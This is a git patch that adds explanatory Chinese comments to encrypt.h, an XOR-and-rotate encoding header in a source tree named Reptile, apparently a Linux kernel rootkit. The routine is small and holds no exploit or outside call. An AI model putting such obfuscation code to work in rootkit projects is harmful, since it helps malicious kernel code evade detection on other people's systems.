From 9c546a158b2c5dc04099a4ad7fbc548932fabd87 Mon Sep 17 00:00:00 2001
From: shenzexi <2538927534@qq.com>
Date: Mon, 16 Dec 2024 20:47:00 +0800
Subject: [PATCH] =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=B3=A8=E9=87=8A?=
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---
 src/Reptile/kernel/include/encrypt.h | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/src/Reptile/kernel/include/encrypt.h b/src/Reptile/kernel/include/encrypt.h
index e941c39..209e877 100644
--- a/src/Reptile/kernel/include/encrypt.h
+++ b/src/Reptile/kernel/include/encrypt.h
@@ -1,20 +1,27 @@
 #ifndef __LOADER_H__
 #define __LOADER_H__
 
+// 定义加密和解密的宏，实际调用do_encode函数
 #define do_encrypt(ptr, len, key)	do_encode(ptr, len, key)
 #define do_decrypt(ptr, len, key)	do_encode(ptr, len, key)
 
+// 定义一个静态内联函数，用于实现32位值的循环左移操作
 static inline unsigned int custom_rol32(unsigned int val, int n)
 {
-	return ((val << n) | (val >> (32 - n)));
+    // 循环左移n位，右移(32 - n)位，然后将两者的结果合并
+    return ((val << n) | (val >> (32 - n)));
 }
 
+// 定义一个静态内联函数，用于执行编码操作
 static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
 {
-	while (len > sizeof(key)) {
-		*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
-		len -= sizeof(key), ptr += sizeof(key);
-	}
+    // 当剩余长度大于键值长度时，继续执行编码操作
+    while (len > sizeof(key)) {
+        // 使用异或和循环左移操作对数据进行编码
+        *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
+        // 更新剩余长度和指针位置，准备处理下一部分数据
+        len -= sizeof(key), ptr += sizeof(key);
+    }
 }
 
-#endif
+#endif
\ No newline at end of file